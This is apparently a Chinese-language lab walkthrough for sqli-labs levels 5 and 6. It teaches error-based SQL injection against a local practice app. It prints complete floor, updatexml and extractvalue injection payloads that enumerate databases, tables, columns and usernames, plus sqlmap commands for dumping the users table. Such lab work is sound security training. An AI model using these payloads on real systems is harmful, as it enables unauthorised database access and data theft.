第五关
.盲注是注入攻击的其中一种,向数据库发送true或false这样的问题,并搞根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
1.经错测试发现,当输入?id=3时页面显示正常,具体如下
当输入?id=486页面显示如下
说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入 ?id=2’ 页面出现错误语句如下
页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
3.在这里我们使用floor报错语句进行注入
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:
and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
需要注意的是,此时数据库名并不是 information_schema1
这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)
为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,语句如下:
?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
现在以第5题为例:
查表名:
http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema=database() limit 0,1 )),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查字段名:
http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where tables_name='users' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查字段值:
http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(username,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
用sqlmap
1.查数据库:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” --dbs --batch
2.查表名:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security --tables --batch
3.查字段名:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security -T users --columns --batch
4.查字段值
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security -T users -C “password,username” --batch
第六关、
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
其余过程不再赘述,请参考第五关